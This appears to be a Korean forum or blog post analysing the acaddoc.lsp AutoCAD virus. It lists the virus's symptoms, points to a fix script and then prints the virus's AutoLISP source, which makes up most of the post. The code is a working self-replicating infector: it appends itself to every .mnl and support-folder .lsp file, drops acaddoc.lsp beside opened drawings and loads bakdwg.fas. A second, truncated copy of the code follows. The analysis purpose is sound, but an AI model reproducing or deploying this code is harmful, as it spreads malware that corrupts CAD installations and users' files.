[파일] 첫번째 acaddoc.lsp 바이러스 리습분석

아래의 acaddoc.lsp 바이러스에 감염되었을때 증상

1. acad.mnl 파일이 있는 폴더의 모든 mnl 파일에 바이러스 구문을 추가 합니다.

2. support 폴더에 있는 모든 리습구문에 바이러스 구문을 추가 합니다.

3. 실행되는 폴더에 acaddoc.lsp 파일을 추가합니다

대처방법 acaddocfix_1.8.lsp 구글링 하세요

(setq flagx t)
(setq bz "(setq flagx t)")
(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
	(if (= text bz) (setq flag1 nil))
	);while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
	(if (= text bz) (setq flag t))
	(if flag
	  (progn
	    (write-line text wjm1)
	    );progn
	  );if
	);while
        (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
	(if (= text bz) (setq flag1 nil))
	);while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
	(if (= text bz) (setq flag t))
	(if flag
	  (progn

구문이 완료된 상태가 아니므로 중단이 되어서 후속 리습은 로딩이 안됩니다.